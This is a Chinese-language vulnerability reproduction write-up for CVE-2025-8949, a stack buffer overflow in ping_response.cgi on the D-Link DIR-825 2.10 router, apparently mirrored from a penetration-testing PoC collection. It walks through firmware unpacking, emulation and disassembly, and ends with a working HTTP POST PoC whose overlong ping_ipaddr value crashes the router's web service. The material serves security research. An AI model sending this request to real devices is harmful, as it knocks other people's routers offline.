mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
160 lines
5.2 KiB
Markdown
160 lines
5.2 KiB
Markdown
# D-Link DIR-825 2.10(CVE-2025-8949)漏洞复现
|
||||
|
|
> 渐近线
|
|||
|
|
> 来源:https://www.iotsec-zone.com/article/509
|
|||
|
|
|
|||
|
|
### 漏洞情报
|
|||
|
|
|
|||
|
|
在 D-Link DIR-825 2.10 中发现了一个漏洞。受该漏洞影响的是组件 httpd 的文件ping_response.cgi的函数get_ping_app_stat。参数ping_ipaddr的作会导致基于堆栈的缓冲区溢出。攻击可以远程发起。该漏洞已向公众披露并可能被使用。
|
|||
|
|
|
|||
|
|
### 信息收集
|
|||
|
|
|
|||
|
|
##### binwalk
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
binwalk -Me DIR825B1_FW210WWB01.bin
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
binwalk先解包固件
|
|||
|
|
|
|||
|
|

|
|||
|
|
##### file&checksec
|
|||
|
|
|
|||
|
|
在squashfs-root目录下查看固件基本信息
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
看到是MIPS架构32位大端序
|
|||
|
|
|
|||
|
|
##### firmwalker
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
可以看到该固件web服务器是httpd
|
|||
|
|
|
|||
|
|
### 固件模拟
|
|||
|
|
|
|||
|
|
##### FirmAE
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
sudo ./run.sh -d dlink DIR825B1_FW210WWB01.bin
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
浏览器打开192.168.0.1
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
模拟成功!
|
|||
|
|
|
|||
|
|
### 漏洞分析
|
|||
|
|
|
|||
|
|
在IDA分析httpd文件,检索函数get_ping_app_stat
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
**1、缓冲区 `v5[256]`**
|
|||
|
|
`fread(v5, 0x100u, 1u, v2);`
|
|||
|
|
|
|||
|
|
- `0x100` = 256,正好等于缓冲区大小。
|
|||
|
|
- 如果 ping 输出超过 256 字节,理论上不会溢出(因为 `fread` 按照大小读取,但这里的问题是 system 命令的格式化字符串)。
|
|||
|
|
|
|||
|
|
**2、`system("ping -c 1 \"%s\" > /var/misc/ping_app.txt");`**
|
|||
|
|
|
|||
|
|
- 这里直接把 `%s` 放进了 system 命令,而且 没有把 **a1** 的内容传进去。
|
|||
|
|
- 如果在实际固件中 `parse_special_char(a1)` 返回了字符串,并且 system 调用使用了用户可控的字符串(如 `sprintf(cmd, "ping -c 1 \"%s\" ...", a1)`),则可能导致 **命令注入漏洞**。
|
|||
|
|
|
|||
|
|
**3、返回值逻辑**
|
|||
|
|
|
|||
|
|
- 根据 ping 输出文件判断成功/失败/未知主机,这个逻辑没有安全问题。
|
|||
|
|
|
|||
|
|
接着我们追进去分析函数parse_special_char,看看里面写了什么。因为该函数是外部函数,所以要回去解包的固件中找他的文件位置,发现该函数在libproject.so文件中,将其放进IDA里分析函数
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
检索找到函数parse_special_char
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
**1、功能总结:**
|
|||
|
|
|
|||
|
|
- **作用**:
|
|||
|
|
`parse_special_char` 用于对用户输入的字符串进行 **转义处理**,主要是给以下字符前面加上反斜杠 `\`:
|
|||
|
|
- `"` 双引号
|
|||
|
|
- `\` 反斜杠
|
|||
|
|
- \``` 反引号
|
|||
|
|
- `$` 变量符号
|
|||
|
|
- **目的**:
|
|||
|
|
防止直接拼接到 `system("ping ...")` 命令时出现命令注入。
|
|||
|
|
|
|||
|
|
**2、存在的问题:**
|
|||
|
|
|
|||
|
|
- 使用了 `strcpy`,且 `v11[200]` 存放用户输入。
|
|||
|
|
|
|||
|
|
- 如果传入的字符串超过 200 字节,会导致 **缓冲区溢出**。
|
|||
|
|
|
|||
|
|
+ 再加上 `v10[400]`,虽然比较大,但 `strcpy(a1, v10)` 依然没有长度检查。
|
|||
|
|
|
|||
|
|
**3、总结:**
|
|||
|
|
|
|||
|
|
`parse_special_char` 本意是做命令注入防护,但防护不完整,反而引入了新的 **栈缓冲区溢出风险**。
|
|||
|
|
|
|||
|
|
### 漏洞验证
|
|||
|
|
|
|||
|
|
抓包
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
接下来构造HTTP请求包,验证堆栈的缓冲区溢出
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
可以看到设备的 HTTP 服务在请求发出前还能正常访问,但在发出 payload 后立即断开,并且持续一段时间无法访问。
|
|||
|
|
|
|||
|
|
验证成功!
|
|||
|
|
|
|||
|
|
至此,漏洞复现结束。
|
|||
|
|
|
|||
|
|
### PoC:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /ping_response.cgi HTTP/1.1
|
|||
|
|
|
|||
|
|
Host: 192.168.0.1
|
|||
|
|
|
|||
|
|
Content-Length: 395
|
|||
|
|
|
|||
|
|
Cache-Control: max-age=0
|
|||
|
|
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
|
|||
|
|
Origin: [http://192.168.0.1](http://192.168.0.1)
|
|||
|
|
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
|
|||
|
|
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
|
|||
|
|
Referer: [http://192.168.0.1/tools_vct.asp](http://192.168.0.1/tools_vct.asp)
|
|||
|
|
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
|
|||
|
|
Accept-Language: en-US,en;q=0.9
|
|||
|
|
|
|||
|
|
Connection: close
|
|||
|
|
|
|||
|
|
html_response_page=tools_vct.asp&html_response_return_page=tools_vct.asp&ping_ipaddr=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac&ping=Ping
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
------
|
|||
|
|
|
|||
|
|
### 附录
|
|||
|
|
|
|||
|
|
#### 参考文献
|
|||
|
|
|
|||
|
|
[D-Link DIR-825 Rev.B 2.10 devices ping_response.cgi stack-based buffer overflow · Issue #16 · i-Corner/cve](https://github.com/i-Corner/cve/issues/16)
|
|||
|
|
|
|||
|
|
[NVD - CVE-2025-8949](https://nvd.nist.gov/vuln/detail/CVE-2025-8949)
|